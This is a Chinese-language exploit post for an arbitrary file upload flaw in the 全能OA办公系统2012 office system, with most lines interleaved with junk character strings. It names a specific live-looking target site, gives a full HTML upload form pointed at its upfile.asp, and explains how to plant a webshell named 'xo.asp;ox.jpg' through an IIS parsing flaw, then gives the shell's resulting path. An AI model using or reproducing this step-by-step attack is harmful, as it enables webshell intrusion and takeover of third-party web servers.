全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
1 y+ t, ^% G- d7 E7 M​
/ B3 O5 Q' p% J& Y0 j3 q系统介绍：

8 P" [3 ~, s; R6 v, h全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
9 V( w5 Z) T$ M1 b
主要功能：
2 t6 y3 [" [. ?, O  a公司通告
工作计划
通讯助理
客户资源
0 W: S6 ^0 F: {, u; R6 X; o3 u- j我的公文
. a+ T4 j6 [6 V9 |: i8 g公文传阅
7 }" |3 ^- a+ o+ [  Y, F6 A公共资源
7 f- I4 P$ D$ n  y8 g- e, V资源预约
+ U6 A8 W2 U3 Y& F  Z今日考勤
个人计划
# l5 _' t/ m7 M# y" R. i个人通讯录
* M2 B) h. z  N7 ?( P5 \5 P, j' A7 f个人基本档案
5 a; c* [8 n* c9 w) h未读邮件
发邮件
收件夹
寄件夹
网络硬盘
网络会议
% {" Y; B* J  Y网络调查
% t8 K, J6 V% j  a# t交流论坛
5 |) {) \. A, i8 v( t. \
9 ^' ~& N9 K8 ^2 |+ V& O# O8 j2 n有兴趣测试的朋友可以下源码看看
4 u, p/ c+ u' l- R7 z; W
3 `" ^( T; n( V; d+ |8 r源码下载：

http://www.mycodes.net/30/4750.htm

- `, h4 n3 T4 c漏洞介绍：
5 \+ F( q/ O# f1 j* g3 m4 m
( T7 N6 V5 ]* R' d; c6 ]3 D; m+ i由upfile.asp上传文件漏洞引起

测试方法：
% I: z) w2 [" X
使用名小子上传http://www.itlynn.com/upfile.asp即可
' R5 a" X/ I  I' {0 A" Q# l7 F
如果upfile.asp文件被删除不存在。

( E7 {) I0 s) v, v' _; O$ L  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。

然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

# k' o& v' I" v; a( H9 ~

01 <table border='0' align="center" cellpadding="5">
9 ~* m: _6 F. Y0 X0 ]8 Q# z) E
; @( M8 e+ z0 F# w, R/ p02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
+ y, K' H- s/ I+ n' h+ X' T/ t, z
03 <tr>
4 A. D1 Q' K3 D  e5 p" e  ?4 E
04             <td>报错：</td>
" Z$ X. t: l& A% `5 T
05             <td><input type='radio' name='errnumber' value='0'>

+ r* g: b: l% H4 V06               自动更名
2 x$ |5 H$ R1 ^
. k* @1 B2 d% k9 ^07               <input type='radio' name='errnumber' value='1' checked>

08               报错方式
5 z9 ?& t5 P' m) v! o! W/ H. p; X
- Z+ D/ r, N+ M2 C+ Q8 J09               <input type='radio' name='errnumber' value='2'>
! S8 o2 P6 v# G, f4 l8 _' K
10               直接覆盖</td>

7 u# M. N; K6 L11           </tr>
) b" P, }7 a- n: r& b# r
12           <tr>
# X) {# ]5 ]/ s# L$ Y
13             <td>主题：</td>
- p/ @  U; n8 L
14             <td><input type='text' name='filename' size='30'></td>

; E6 _/ E, I  M# a: b$ S# U15           </tr>

16           <tr>
6 ]5 t- Z: u$ w
17             <td>文件：</td>
* o% m% N$ t1 d6 S
* V. _6 r" Q; Q3 }/ c18             <td><input type="file"name="fruit"size="30"></td>

! Q* O5 O. w# W# x! O19           </tr>
% W! Q" y' u; D1 s  k2 E
20           <tr>

21             <td valign='top'>简介：</td>

4 J& S* I' {7 E4 C22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>

24   

25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
% E3 O) e! y1 d
26           </tr>

2 a* y; H4 g3 t2 s6 j( @" J27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。
( f/ n% z! v$ O$ q# G
. j! e  z* G( E
! _0 X; m) n0 E4 l, ~8 w
4 u7 E5 m; a! D上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

) O( S! D, }! P+ f, T9 B) O此漏洞需要配合解析漏洞利用。
% h) U8 i8 j$ E% f9 Q7 P$ r